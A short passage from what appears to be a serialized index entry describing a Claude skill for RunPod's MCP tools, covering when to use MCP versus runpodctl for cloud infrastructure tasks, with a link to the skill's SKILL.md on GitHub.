list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]